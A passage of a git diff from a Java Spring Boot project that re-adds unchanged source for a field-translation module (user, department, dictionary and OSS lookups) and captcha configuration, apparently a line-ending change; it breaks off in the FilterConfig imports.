- * 默认取当前字段的值 如果设置了 @{@link Translation#mapper()} 则取映射字段的值 - */ - String type(); - - /** - * 映射字段 (如果不为空则取此字段的值) - */ - String mapper() default ""; - - /** - * 其他条件 例如: 字典type(sys_user_sex) - */ - String other() default ""; - -} +package org.dromara.common.translation.annotation; + +import com.fasterxml.jackson.annotation.JacksonAnnotationsInside; +import com.fasterxml.jackson.databind.annotation.JsonSerialize; +import org.dromara.common.translation.core.handler.TranslationHandler; + +import java.lang.annotation.*; + +/** + * 通用翻译注解 + * + * @author Lion Li + */ +@Inherited +@Retention(RetentionPolicy.RUNTIME) +@Target({ElementType.FIELD, ElementType.METHOD}) +@Documented +@JacksonAnnotationsInside +@JsonSerialize(using = TranslationHandler.class) +public @interface Translation { + + /** + * 类型 (需与实现类上的 {@link TranslationType} 注解type对应) + *

+ * 默认取当前字段的值 如果设置了 @{@link Translation#mapper()} 则取映射字段的值 + */ + String type(); + + /** + * 映射字段 (如果不为空则取此字段的值) + */ + String mapper() default ""; + + /** + * 其他条件 例如: 字典type(sys_user_sex) + */ + String other() default ""; + +} diff --git a/ruoyi-common/ruoyi-common-translation/src/main/java/org/dromara/common/translation/annotation/TranslationType.java b/ruoyi-common/ruoyi-common-translation/src/main/java/org/dromara/common/translation/annotation/TranslationType.java index 43bfab0..b103f4f 100644 --- a/ruoyi-common/ruoyi-common-translation/src/main/java/org/dromara/common/translation/annotation/TranslationType.java +++ b/ruoyi-common/ruoyi-common-translation/src/main/java/org/dromara/common/translation/annotation/TranslationType.java @@ -1,23 +1,23 @@ -package org.dromara.common.translation.annotation; - -import org.dromara.common.translation.core.TranslationInterface; - -import java.lang.annotation.*; - -/** - * 翻译类型注解 (标注到{@link TranslationInterface} 的实现类) - * - * @author Lion Li - */ -@Inherited -@Retention(RetentionPolicy.RUNTIME) -@Target({ElementType.TYPE}) -@Documented -public @interface TranslationType { - - /** - * 类型 - */ - String type(); - -} +package org.dromara.common.translation.annotation; + +import org.dromara.common.translation.core.TranslationInterface; + +import java.lang.annotation.*; + +/** + * 翻译类型注解 (标注到{@link TranslationInterface} 的实现类) + * + * @author Lion Li + */ +@Inherited +@Retention(RetentionPolicy.RUNTIME) +@Target({ElementType.TYPE}) +@Documented +public @interface TranslationType { + + /** + * 类型 + */ + String type(); + +} diff --git a/ruoyi-common/ruoyi-common-translation/src/main/java/org/dromara/common/translation/config/TranslationConfig.java b/ruoyi-common/ruoyi-common-translation/src/main/java/org/dromara/common/translation/config/TranslationConfig.java index 52fe94e..dede52d 100644 --- a/ruoyi-common/ruoyi-common-translation/src/main/java/org/dromara/common/translation/config/TranslationConfig.java +++ b/ruoyi-common/ruoyi-common-translation/src/main/java/org/dromara/common/translation/config/TranslationConfig.java @@ -1,50 +1,50 @@ -package org.dromara.common.translation.config; - -import com.fasterxml.jackson.databind.ObjectMapper; -import jakarta.annotation.PostConstruct; -import lombok.extern.slf4j.Slf4j; -import org.dromara.common.translation.annotation.TranslationType; -import org.dromara.common.translation.core.TranslationInterface; -import org.dromara.common.translation.core.handler.TranslationBeanSerializerModifier; -import org.dromara.common.translation.core.handler.TranslationHandler; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.boot.autoconfigure.AutoConfiguration; - -import java.util.HashMap; -import java.util.List; -import java.util.Map; - -/** - * 翻译模块配置类 - * - * @author Lion Li - */ -@Slf4j -@AutoConfiguration -public class TranslationConfig { - - @Autowired - private List> list; - - @Autowired - private ObjectMapper objectMapper; - - @PostConstruct - public void init() { - Map> map = new HashMap<>(list.size()); - for (TranslationInterface trans : list) { - if (trans.getClass().isAnnotationPresent(TranslationType.class)) { - TranslationType annotation = trans.getClass().getAnnotation(TranslationType.class); - map.put(annotation.type(), trans); - } else { - log.warn(trans.getClass().getName() + " 翻译实现类未标注 TranslationType 注解!"); - } - } - TranslationHandler.TRANSLATION_MAPPER.putAll(map); - // 设置 Bean 序列化修改器 - objectMapper.setSerializerFactory( - objectMapper.getSerializerFactory() - .withSerializerModifier(new TranslationBeanSerializerModifier())); - } - -} +package org.dromara.common.translation.config; + +import com.fasterxml.jackson.databind.ObjectMapper; +import jakarta.annotation.PostConstruct; +import lombok.extern.slf4j.Slf4j; +import org.dromara.common.translation.annotation.TranslationType; +import org.dromara.common.translation.core.TranslationInterface; +import org.dromara.common.translation.core.handler.TranslationBeanSerializerModifier; +import org.dromara.common.translation.core.handler.TranslationHandler; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.autoconfigure.AutoConfiguration; + +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +/** + * 翻译模块配置类 + * + * @author Lion Li + */ +@Slf4j +@AutoConfiguration +public class TranslationConfig { + + @Autowired + private List> list; + + @Autowired + private ObjectMapper objectMapper; + + @PostConstruct + public void init() { + Map> map = new HashMap<>(list.size()); + for (TranslationInterface trans : list) { + if (trans.getClass().isAnnotationPresent(TranslationType.class)) { + TranslationType annotation = trans.getClass().getAnnotation(TranslationType.class); + map.put(annotation.type(), trans); + } else { + log.warn(trans.getClass().getName() + " 翻译实现类未标注 TranslationType 注解!"); + } + } + TranslationHandler.TRANSLATION_MAPPER.putAll(map); + // 设置 Bean 序列化修改器 + objectMapper.setSerializerFactory( + objectMapper.getSerializerFactory() + .withSerializerModifier(new TranslationBeanSerializerModifier())); + } + +} diff --git a/ruoyi-common/ruoyi-common-translation/src/main/java/org/dromara/common/translation/constant/TransConstant.java b/ruoyi-common/ruoyi-common-translation/src/main/java/org/dromara/common/translation/constant/TransConstant.java index c084ea1..c399d01 100644 --- a/ruoyi-common/ruoyi-common-translation/src/main/java/org/dromara/common/translation/constant/TransConstant.java +++ b/ruoyi-common/ruoyi-common-translation/src/main/java/org/dromara/common/translation/constant/TransConstant.java @@ -1,35 +1,35 @@ -package org.dromara.common.translation.constant; - -/** - * 翻译常量 - * - * @author Lion Li - */ -public interface TransConstant { - - /** - * 用户id转账号 - */ - String USER_ID_TO_NAME = "user_id_to_name"; - - /** - * 用户id转用户名称 - */ - String USER_ID_TO_NICKNAME = "user_id_to_nickname"; - - /** - * 部门id转名称 - */ - String DEPT_ID_TO_NAME = "dept_id_to_name"; - - /** - * 字典type转label - */ - String DICT_TYPE_TO_LABEL = "dict_type_to_label"; - - /** - * ossId转url - */ - String OSS_ID_TO_URL = "oss_id_to_url"; - -} +package org.dromara.common.translation.constant; + +/** + * 翻译常量 + * + * @author Lion Li + */ +public interface TransConstant { + + /** + * 用户id转账号 + */ + String USER_ID_TO_NAME = "user_id_to_name"; + + /** + * 用户id转用户名称 + */ + String USER_ID_TO_NICKNAME = "user_id_to_nickname"; + + /** + * 部门id转名称 + */ + String DEPT_ID_TO_NAME = "dept_id_to_name"; + + /** + * 字典type转label + */ + String DICT_TYPE_TO_LABEL = "dict_type_to_label"; + + /** + * ossId转url + */ + String OSS_ID_TO_URL = "oss_id_to_url"; + +} diff --git a/ruoyi-common/ruoyi-common-translation/src/main/java/org/dromara/common/translation/core/TranslationInterface.java b/ruoyi-common/ruoyi-common-translation/src/main/java/org/dromara/common/translation/core/TranslationInterface.java index e4d6dd3..7db3c4f 100644 --- a/ruoyi-common/ruoyi-common-translation/src/main/java/org/dromara/common/translation/core/TranslationInterface.java +++ b/ruoyi-common/ruoyi-common-translation/src/main/java/org/dromara/common/translation/core/TranslationInterface.java @@ -1,20 +1,20 @@ -package org.dromara.common.translation.core; - -import org.dromara.common.translation.annotation.TranslationType; - -/** - * 翻译接口 (实现类需标注 {@link TranslationType} 注解标明翻译类型) - * - * @author Lion Li - */ -public interface TranslationInterface { - - /** - * 翻译 - * - * @param key 需要被翻译的键(不为空) - * @param other 其他参数 - * @return 返回键对应的值 - */ - T translation(Object key, String other); -} +package org.dromara.common.translation.core; + +import org.dromara.common.translation.annotation.TranslationType; + +/** + * 翻译接口 (实现类需标注 {@link TranslationType} 注解标明翻译类型) + * + * @author Lion Li + */ +public interface TranslationInterface { + + /** + * 翻译 + * + * @param key 需要被翻译的键(不为空) + * @param other 其他参数 + * @return 返回键对应的值 + */ + T translation(Object key, String other); +} diff --git a/ruoyi-common/ruoyi-common-translation/src/main/java/org/dromara/common/translation/core/handler/TranslationBeanSerializerModifier.java b/ruoyi-common/ruoyi-common-translation/src/main/java/org/dromara/common/translation/core/handler/TranslationBeanSerializerModifier.java index 727672f..d521838 100644 --- a/ruoyi-common/ruoyi-common-translation/src/main/java/org/dromara/common/translation/core/handler/TranslationBeanSerializerModifier.java +++ b/ruoyi-common/ruoyi-common-translation/src/main/java/org/dromara/common/translation/core/handler/TranslationBeanSerializerModifier.java @@ -1,29 +1,29 @@ -package org.dromara.common.translation.core.handler; - -import com.fasterxml.jackson.databind.BeanDescription; -import com.fasterxml.jackson.databind.SerializationConfig; -import com.fasterxml.jackson.databind.ser.BeanPropertyWriter; -import com.fasterxml.jackson.databind.ser.BeanSerializerModifier; - -import java.util.List; - -/** - * Bean 序列化修改器 解决 Null 被单独处理问题 - * - * @author Lion Li - */ -public class TranslationBeanSerializerModifier extends BeanSerializerModifier { - - @Override - public List changeProperties(SerializationConfig config, BeanDescription beanDesc, - List beanProperties) { - for (BeanPropertyWriter writer : beanProperties) { - // 如果序列化器为 TranslationHandler 的话 将 Null 值也交给他处理 - if (writer.getSerializer() instanceof TranslationHandler serializer) { - writer.assignNullSerializer(serializer); - } - } - return beanProperties; - } - -} +package org.dromara.common.translation.core.handler; + +import com.fasterxml.jackson.databind.BeanDescription; +import com.fasterxml.jackson.databind.SerializationConfig; +import com.fasterxml.jackson.databind.ser.BeanPropertyWriter; +import com.fasterxml.jackson.databind.ser.BeanSerializerModifier; + +import java.util.List; + +/** + * Bean 序列化修改器 解决 Null 被单独处理问题 + * + * @author Lion Li + */ +public class TranslationBeanSerializerModifier extends BeanSerializerModifier { + + @Override + public List changeProperties(SerializationConfig config, BeanDescription beanDesc, + List beanProperties) { + for (BeanPropertyWriter writer : beanProperties) { + // 如果序列化器为 TranslationHandler 的话 将 Null 值也交给他处理 + if (writer.getSerializer() instanceof TranslationHandler serializer) { + writer.assignNullSerializer(serializer); + } + } + return beanProperties; + } + +} diff --git a/ruoyi-common/ruoyi-common-translation/src/main/java/org/dromara/common/translation/core/handler/TranslationHandler.java b/ruoyi-common/ruoyi-common-translation/src/main/java/org/dromara/common/translation/core/handler/TranslationHandler.java index d118202..faa8da0 100644 --- a/ruoyi-common/ruoyi-common-translation/src/main/java/org/dromara/common/translation/core/handler/TranslationHandler.java +++ b/ruoyi-common/ruoyi-common-translation/src/main/java/org/dromara/common/translation/core/handler/TranslationHandler.java @@ -1,65 +1,65 @@ -package org.dromara.common.translation.core.handler; - -import cn.hutool.core.util.ObjectUtil; -import com.fasterxml.jackson.core.JsonGenerator; -import com.fasterxml.jackson.databind.BeanProperty; -import com.fasterxml.jackson.databind.JsonMappingException; -import com.fasterxml.jackson.databind.JsonSerializer; -import com.fasterxml.jackson.databind.SerializerProvider; -import com.fasterxml.jackson.databind.ser.ContextualSerializer; -import lombok.extern.slf4j.Slf4j; -import org.dromara.common.core.utils.StringUtils; -import org.dromara.common.core.utils.reflect.ReflectUtils; -import org.dromara.common.translation.annotation.Translation; -import org.dromara.common.translation.core.TranslationInterface; - -import java.io.IOException; -import java.util.Map; -import java.util.Objects; -import java.util.concurrent.ConcurrentHashMap; - -/** - * 翻译处理器 - * - * @author Lion Li - */ -@Slf4j -public class TranslationHandler extends JsonSerializer implements ContextualSerializer { - - /** - * 全局翻译实现类映射器 - */ - public static final Map> TRANSLATION_MAPPER = new ConcurrentHashMap<>(); - - private Translation translation; - - @Override - public void serialize(Object value, JsonGenerator gen, SerializerProvider serializers) throws IOException { - TranslationInterface trans = TRANSLATION_MAPPER.get(translation.type()); - if (ObjectUtil.isNotNull(trans)) { - // 如果映射字段不为空 则取映射字段的值 - if (StringUtils.isNotBlank(translation.mapper())) { - value = ReflectUtils.invokeGetter(gen.currentValue(), translation.mapper()); - } - // 如果为 null 直接写出 - if (ObjectUtil.isNull(value)) { - gen.writeNull(); - return; - } - Object result = trans.translation(value, translation.other()); - gen.writeObject(result); - } else { - gen.writeObject(value); - } - } - - @Override - public JsonSerializer createContextual(SerializerProvider prov, BeanProperty property) throws JsonMappingException { - Translation translation = property.getAnnotation(Translation.class); - if (Objects.nonNull(translation)) { - this.translation = translation; - return this; - } - return prov.findValueSerializer(property.getType(), property); - } -} +package org.dromara.common.translation.core.handler; + +import cn.hutool.core.util.ObjectUtil; +import com.fasterxml.jackson.core.JsonGenerator; +import com.fasterxml.jackson.databind.BeanProperty; +import com.fasterxml.jackson.databind.JsonMappingException; +import com.fasterxml.jackson.databind.JsonSerializer; +import com.fasterxml.jackson.databind.SerializerProvider; +import com.fasterxml.jackson.databind.ser.ContextualSerializer; +import lombok.extern.slf4j.Slf4j; +import org.dromara.common.core.utils.StringUtils; +import org.dromara.common.core.utils.reflect.ReflectUtils; +import org.dromara.common.translation.annotation.Translation; +import org.dromara.common.translation.core.TranslationInterface; + +import java.io.IOException; +import java.util.Map; +import java.util.Objects; +import java.util.concurrent.ConcurrentHashMap; + +/** + * 翻译处理器 + * + * @author Lion Li + */ +@Slf4j +public class TranslationHandler extends JsonSerializer implements ContextualSerializer { + + /** + * 全局翻译实现类映射器 + */ + public static final Map> TRANSLATION_MAPPER = new ConcurrentHashMap<>(); + + private Translation translation; + + @Override + public void serialize(Object value, JsonGenerator gen, SerializerProvider serializers) throws IOException { + TranslationInterface trans = TRANSLATION_MAPPER.get(translation.type()); + if (ObjectUtil.isNotNull(trans)) { + // 如果映射字段不为空 则取映射字段的值 + if (StringUtils.isNotBlank(translation.mapper())) { + value = ReflectUtils.invokeGetter(gen.currentValue(), translation.mapper()); + } + // 如果为 null 直接写出 + if (ObjectUtil.isNull(value)) { + gen.writeNull(); + return; + } + Object result = trans.translation(value, translation.other()); + gen.writeObject(result); + } else { + gen.writeObject(value); + } + } + + @Override + public JsonSerializer createContextual(SerializerProvider prov, BeanProperty property) throws JsonMappingException { + Translation translation = property.getAnnotation(Translation.class); + if (Objects.nonNull(translation)) { + this.translation = translation; + return this; + } + return prov.findValueSerializer(property.getType(), property); + } +} diff --git a/ruoyi-common/ruoyi-common-translation/src/main/java/org/dromara/common/translation/core/impl/DeptNameTranslationImpl.java b/ruoyi-common/ruoyi-common-translation/src/main/java/org/dromara/common/translation/core/impl/DeptNameTranslationImpl.java index c109519..c0f81c8 100644 --- a/ruoyi-common/ruoyi-common-translation/src/main/java/org/dromara/common/translation/core/impl/DeptNameTranslationImpl.java +++ b/ruoyi-common/ruoyi-common-translation/src/main/java/org/dromara/common/translation/core/impl/DeptNameTranslationImpl.java @@ -1,29 +1,29 @@ -package org.dromara.common.translation.core.impl; - -import lombok.AllArgsConstructor; -import org.dromara.common.core.service.DeptService; -import org.dromara.common.translation.annotation.TranslationType; -import org.dromara.common.translation.constant.TransConstant; -import org.dromara.common.translation.core.TranslationInterface; - -/** - * 部门翻译实现 - * - * @author Lion Li - */ -@AllArgsConstructor -@TranslationType(type = TransConstant.DEPT_ID_TO_NAME) -public class DeptNameTranslationImpl implements TranslationInterface { - - private final DeptService deptService; - - @Override - public String translation(Object key, String other) { - if (key instanceof String ids) { - return deptService.selectDeptNameByIds(ids); - } else if (key instanceof Long id) { - return deptService.selectDeptNameByIds(id.toString()); - } - return null; - } -} +package org.dromara.common.translation.core.impl; + +import lombok.AllArgsConstructor; +import org.dromara.common.core.service.DeptService; +import org.dromara.common.translation.annotation.TranslationType; +import org.dromara.common.translation.constant.TransConstant; +import org.dromara.common.translation.core.TranslationInterface; + +/** + * 部门翻译实现 + * + * @author Lion Li + */ +@AllArgsConstructor +@TranslationType(type = TransConstant.DEPT_ID_TO_NAME) +public class DeptNameTranslationImpl implements TranslationInterface { + + private final DeptService deptService; + + @Override + public String translation(Object key, String other) { + if (key instanceof String ids) { + return deptService.selectDeptNameByIds(ids); + } else if (key instanceof Long id) { + return deptService.selectDeptNameByIds(id.toString()); + } + return null; + } +} diff --git a/ruoyi-common/ruoyi-common-translation/src/main/java/org/dromara/common/translation/core/impl/DictTypeTranslationImpl.java b/ruoyi-common/ruoyi-common-translation/src/main/java/org/dromara/common/translation/core/impl/DictTypeTranslationImpl.java index 45cd66c..091acf1 100644 --- a/ruoyi-common/ruoyi-common-translation/src/main/java/org/dromara/common/translation/core/impl/DictTypeTranslationImpl.java +++ b/ruoyi-common/ruoyi-common-translation/src/main/java/org/dromara/common/translation/core/impl/DictTypeTranslationImpl.java @@ -1,28 +1,28 @@ -package org.dromara.common.translation.core.impl; - -import lombok.AllArgsConstructor; -import org.dromara.common.core.service.DictService; -import org.dromara.common.core.utils.StringUtils; -import org.dromara.common.translation.annotation.TranslationType; -import org.dromara.common.translation.constant.TransConstant; -import org.dromara.common.translation.core.TranslationInterface; - -/** - * 字典翻译实现 - * - * @author Lion Li - */ -@AllArgsConstructor -@TranslationType(type = TransConstant.DICT_TYPE_TO_LABEL) -public class DictTypeTranslationImpl implements TranslationInterface { - - private final DictService dictService; - - @Override - public String translation(Object key, String other) { - if (key instanceof String dictValue && StringUtils.isNotBlank(other)) { - return dictService.getDictLabel(other, dictValue); - } - return null; - } -} +package org.dromara.common.translation.core.impl; + +import lombok.AllArgsConstructor; +import org.dromara.common.core.service.DictService; +import org.dromara.common.core.utils.StringUtils; +import org.dromara.common.translation.annotation.TranslationType; +import org.dromara.common.translation.constant.TransConstant; +import org.dromara.common.translation.core.TranslationInterface; + +/** + * 字典翻译实现 + * + * @author Lion Li + */ +@AllArgsConstructor +@TranslationType(type = TransConstant.DICT_TYPE_TO_LABEL) +public class DictTypeTranslationImpl implements TranslationInterface { + + private final DictService dictService; + + @Override + public String translation(Object key, String other) { + if (key instanceof String dictValue && StringUtils.isNotBlank(other)) { + return dictService.getDictLabel(other, dictValue); + } + return null; + } +} diff --git a/ruoyi-common/ruoyi-common-translation/src/main/java/org/dromara/common/translation/core/impl/NicknameTranslationImpl.java b/ruoyi-common/ruoyi-common-translation/src/main/java/org/dromara/common/translation/core/impl/NicknameTranslationImpl.java index b92c7f0..e76a825 100644 --- a/ruoyi-common/ruoyi-common-translation/src/main/java/org/dromara/common/translation/core/impl/NicknameTranslationImpl.java +++ b/ruoyi-common/ruoyi-common-translation/src/main/java/org/dromara/common/translation/core/impl/NicknameTranslationImpl.java @@ -1,29 +1,29 @@ -package org.dromara.common.translation.core.impl; - -import lombok.AllArgsConstructor; -import org.dromara.common.core.service.UserService; -import org.dromara.common.translation.annotation.TranslationType; -import org.dromara.common.translation.constant.TransConstant; -import org.dromara.common.translation.core.TranslationInterface; - -/** - * 用户名称翻译实现 - * - * @author may - */ -@AllArgsConstructor -@TranslationType(type = TransConstant.USER_ID_TO_NICKNAME) -public class NicknameTranslationImpl implements TranslationInterface { - - private final UserService userService; - - @Override - public String translation(Object key, String other) { - if (key instanceof Long id) { - return userService.selectNicknameByIds(id.toString()); - } else if (key instanceof String ids) { - return userService.selectNicknameByIds(ids); - } - return null; - } -} +package org.dromara.common.translation.core.impl; + +import lombok.AllArgsConstructor; +import org.dromara.common.core.service.UserService; +import org.dromara.common.translation.annotation.TranslationType; +import org.dromara.common.translation.constant.TransConstant; +import org.dromara.common.translation.core.TranslationInterface; + +/** + * 用户名称翻译实现 + * + * @author may + */ +@AllArgsConstructor +@TranslationType(type = TransConstant.USER_ID_TO_NICKNAME) +public class NicknameTranslationImpl implements TranslationInterface { + + private final UserService userService; + + @Override + public String translation(Object key, String other) { + if (key instanceof Long id) { + return userService.selectNicknameByIds(id.toString()); + } else if (key instanceof String ids) { + return userService.selectNicknameByIds(ids); + } + return null; + } +} diff --git a/ruoyi-common/ruoyi-common-translation/src/main/java/org/dromara/common/translation/core/impl/OssUrlTranslationImpl.java b/ruoyi-common/ruoyi-common-translation/src/main/java/org/dromara/common/translation/core/impl/OssUrlTranslationImpl.java index c2b2b5d..68c6ece 100644 --- a/ruoyi-common/ruoyi-common-translation/src/main/java/org/dromara/common/translation/core/impl/OssUrlTranslationImpl.java +++ b/ruoyi-common/ruoyi-common-translation/src/main/java/org/dromara/common/translation/core/impl/OssUrlTranslationImpl.java @@ -1,29 +1,29 @@ -package org.dromara.common.translation.core.impl; - -import lombok.AllArgsConstructor; -import org.dromara.common.core.service.OssService; -import org.dromara.common.translation.annotation.TranslationType; -import org.dromara.common.translation.constant.TransConstant; -import org.dromara.common.translation.core.TranslationInterface; - -/** - * OSS翻译实现 - * - * @author Lion Li - */ -@AllArgsConstructor -@TranslationType(type = TransConstant.OSS_ID_TO_URL) -public class OssUrlTranslationImpl implements TranslationInterface { - - private final OssService ossService; - - @Override - public String translation(Object key, String other) { - if (key instanceof String ids) { - return ossService.selectUrlByIds(ids); - } else if (key instanceof Long id) { - return ossService.selectUrlByIds(id.toString()); - } - return null; - } -} +package org.dromara.common.translation.core.impl; + +import lombok.AllArgsConstructor; +import org.dromara.common.core.service.OssService; +import org.dromara.common.translation.annotation.TranslationType; +import org.dromara.common.translation.constant.TransConstant; +import org.dromara.common.translation.core.TranslationInterface; + +/** + * OSS翻译实现 + * + * @author Lion Li + */ +@AllArgsConstructor +@TranslationType(type = TransConstant.OSS_ID_TO_URL) +public class OssUrlTranslationImpl implements TranslationInterface { + + private final OssService ossService; + + @Override + public String translation(Object key, String other) { + if (key instanceof String ids) { + return ossService.selectUrlByIds(ids); + } else if (key instanceof Long id) { + return ossService.selectUrlByIds(id.toString()); + } + return null; + } +} diff --git a/ruoyi-common/ruoyi-common-translation/src/main/java/org/dromara/common/translation/core/impl/UserNameTranslationImpl.java b/ruoyi-common/ruoyi-common-translation/src/main/java/org/dromara/common/translation/core/impl/UserNameTranslationImpl.java index b691e4c..5804786 100644 --- a/ruoyi-common/ruoyi-common-translation/src/main/java/org/dromara/common/translation/core/impl/UserNameTranslationImpl.java +++ b/ruoyi-common/ruoyi-common-translation/src/main/java/org/dromara/common/translation/core/impl/UserNameTranslationImpl.java @@ -1,27 +1,27 @@ -package org.dromara.common.translation.core.impl; - -import lombok.AllArgsConstructor; -import org.dromara.common.core.service.UserService; -import org.dromara.common.translation.annotation.TranslationType; -import org.dromara.common.translation.constant.TransConstant; -import org.dromara.common.translation.core.TranslationInterface; - -/** - * 用户名翻译实现 - * - * @author Lion Li - */ -@AllArgsConstructor -@TranslationType(type = TransConstant.USER_ID_TO_NAME) -public class UserNameTranslationImpl implements TranslationInterface { - - private final UserService userService; - - @Override - public String translation(Object key, String other) { - if (key instanceof Long id) { - return userService.selectUserNameById(id); - } - return null; - } -} +package org.dromara.common.translation.core.impl; + +import lombok.AllArgsConstructor; +import org.dromara.common.core.service.UserService; +import org.dromara.common.translation.annotation.TranslationType; +import org.dromara.common.translation.constant.TransConstant; +import org.dromara.common.translation.core.TranslationInterface; + +/** + * 用户名翻译实现 + * + * @author Lion Li + */ +@AllArgsConstructor +@TranslationType(type = TransConstant.USER_ID_TO_NAME) +public class UserNameTranslationImpl implements TranslationInterface { + + private final UserService userService; + + @Override + public String translation(Object key, String other) { + if (key instanceof Long id) { + return userService.selectUserNameById(id); + } + return null; + } +} diff --git a/ruoyi-common/ruoyi-common-translation/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports b/ruoyi-common/ruoyi-common-translation/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports index ad40205..2f4f6ee 100644 --- a/ruoyi-common/ruoyi-common-translation/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports +++ b/ruoyi-common/ruoyi-common-translation/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports @@ -1,6 +1,6 @@ -org.dromara.common.translation.config.TranslationConfig -org.dromara.common.translation.core.impl.DeptNameTranslationImpl -org.dromara.common.translation.core.impl.DictTypeTranslationImpl -org.dromara.common.translation.core.impl.OssUrlTranslationImpl -org.dromara.common.translation.core.impl.UserNameTranslationImpl -org.dromara.common.translation.core.impl.NicknameTranslationImpl +org.dromara.common.translation.config.TranslationConfig +org.dromara.common.translation.core.impl.DeptNameTranslationImpl +org.dromara.common.translation.core.impl.DictTypeTranslationImpl +org.dromara.common.translation.core.impl.OssUrlTranslationImpl +org.dromara.common.translation.core.impl.UserNameTranslationImpl +org.dromara.common.translation.core.impl.NicknameTranslationImpl diff --git a/ruoyi-common/ruoyi-common-web/pom.xml b/ruoyi-common/ruoyi-common-web/pom.xml index b250fa9..e50045d 100644 --- a/ruoyi-common/ruoyi-common-web/pom.xml +++ b/ruoyi-common/ruoyi-common-web/pom.xml @@ -1,62 +1,62 @@ - - - - org.dromara - ruoyi-common - ${revision} - - 4.0.0 - - ruoyi-common-web - - - ruoyi-common-web web服务 - - - - - org.dromara - ruoyi-common-json - - - - org.dromara - ruoyi-common-redis - - - - - org.springframework.boot - spring-boot-starter-web - - - spring-boot-starter-tomcat - org.springframework.boot - - - - - - org.springframework.boot - spring-boot-starter-undertow - - - - org.springframework.boot - spring-boot-starter-actuator - - - - cn.hutool - hutool-captcha - - - - cn.hutool - hutool-crypto - - - - + + + + org.dromara + ruoyi-common + ${revision} + + 4.0.0 + + ruoyi-common-web + + + ruoyi-common-web web服务 + + + + + org.dromara + ruoyi-common-json + + + + org.dromara + ruoyi-common-redis + + + + + org.springframework.boot + spring-boot-starter-web + + + spring-boot-starter-tomcat + org.springframework.boot + + + + + + org.springframework.boot + spring-boot-starter-undertow + + + + org.springframework.boot + spring-boot-starter-actuator + + + + cn.hutool + hutool-captcha + + + + cn.hutool + hutool-crypto + + + + diff --git a/ruoyi-common/ruoyi-common-web/src/main/java/org/dromara/common/web/config/CaptchaConfig.java b/ruoyi-common/ruoyi-common-web/src/main/java/org/dromara/common/web/config/CaptchaConfig.java index 650517e..01656d3 100644 --- a/ruoyi-common/ruoyi-common-web/src/main/java/org/dromara/common/web/config/CaptchaConfig.java +++ b/ruoyi-common/ruoyi-common-web/src/main/java/org/dromara/common/web/config/CaptchaConfig.java @@ -1,65 +1,65 @@ -package org.dromara.common.web.config; - -import cn.hutool.captcha.CaptchaUtil; -import cn.hutool.captcha.CircleCaptcha; -import cn.hutool.captcha.LineCaptcha; -import cn.hutool.captcha.ShearCaptcha; -import org.dromara.common.web.config.properties.CaptchaProperties; -import org.springframework.boot.autoconfigure.AutoConfiguration; -import org.springframework.boot.context.properties.EnableConfigurationProperties; -import org.springframework.context.annotation.Bean; -import org.springframework.context.annotation.Lazy; - -import java.awt.*; - -/** - * 验证码配置 - * - * @author Lion Li - */ -@AutoConfiguration -@EnableConfigurationProperties(CaptchaProperties.class) -public class CaptchaConfig { - - private static final int WIDTH = 160; - private static final int HEIGHT = 60; - private static final Color BACKGROUND = Color.LIGHT_GRAY; - private static final Font FONT = new Font("Arial", Font.BOLD, 48); - - /** - * 圆圈干扰验证码 - */ - @Lazy - @Bean - public CircleCaptcha circleCaptcha() { - CircleCaptcha captcha = CaptchaUtil.createCircleCaptcha(WIDTH, HEIGHT); - captcha.setBackground(BACKGROUND); - captcha.setFont(FONT); - return captcha; - } - - /** - * 线段干扰的验证码 - */ - @Lazy - @Bean - public LineCaptcha lineCaptcha() { - LineCaptcha captcha = CaptchaUtil.createLineCaptcha(WIDTH, HEIGHT); - captcha.setBackground(BACKGROUND); - captcha.setFont(FONT); - return captcha; - } - - /** - * 扭曲干扰验证码 - */ - @Lazy - @Bean - public ShearCaptcha shearCaptcha() { - ShearCaptcha captcha = CaptchaUtil.createShearCaptcha(WIDTH, HEIGHT); - captcha.setBackground(BACKGROUND); - captcha.setFont(FONT); - return captcha; - } - -} +package org.dromara.common.web.config; + +import cn.hutool.captcha.CaptchaUtil; +import cn.hutool.captcha.CircleCaptcha; +import cn.hutool.captcha.LineCaptcha; +import cn.hutool.captcha.ShearCaptcha; +import org.dromara.common.web.config.properties.CaptchaProperties; +import org.springframework.boot.autoconfigure.AutoConfiguration; +import org.springframework.boot.context.properties.EnableConfigurationProperties; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Lazy; + +import java.awt.*; + +/** + * 验证码配置 + * + * @author Lion Li + */ +@AutoConfiguration +@EnableConfigurationProperties(CaptchaProperties.class) +public class CaptchaConfig { + + private static final int WIDTH = 160; + private static final int HEIGHT = 60; + private static final Color BACKGROUND = Color.LIGHT_GRAY; + private static final Font FONT = new Font("Arial", Font.BOLD, 48); + + /** + * 圆圈干扰验证码 + */ + @Lazy + @Bean + public CircleCaptcha circleCaptcha() { + CircleCaptcha captcha = CaptchaUtil.createCircleCaptcha(WIDTH, HEIGHT); + captcha.setBackground(BACKGROUND); + captcha.setFont(FONT); + return captcha; + } + + /** + * 线段干扰的验证码 + */ + @Lazy + @Bean + public LineCaptcha lineCaptcha() { + LineCaptcha captcha = CaptchaUtil.createLineCaptcha(WIDTH, HEIGHT); + captcha.setBackground(BACKGROUND); + captcha.setFont(FONT); + return captcha; + } + + /** + * 扭曲干扰验证码 + */ + @Lazy + @Bean + public ShearCaptcha shearCaptcha() { + ShearCaptcha captcha = CaptchaUtil.createShearCaptcha(WIDTH, HEIGHT); + captcha.setBackground(BACKGROUND); + captcha.setFont(FONT); + return captcha; + } + +} diff --git a/ruoyi-common/ruoyi-common-web/src/main/java/org/dromara/common/web/config/FilterConfig.java b/ruoyi-common/ruoyi-common-web/src/main/java/org/dromara/common/web/config/FilterConfig.java index 32d61df..c164439 100644 --- a/ruoyi-common/ruoyi-common-web/src/main/java/org/dromara/common/web/config/FilterConfig.java +++ b/ruoyi-common/ruoyi-common-web/src/main/java/org/dromara/common/web/config/FilterConfig.java @@ -1,44 +1,44 @@ -package org.dromara.common.web.config; - -import jakarta.servlet.DispatcherType; -import org.dromara.common.web.config.properties.XssProperties; -import 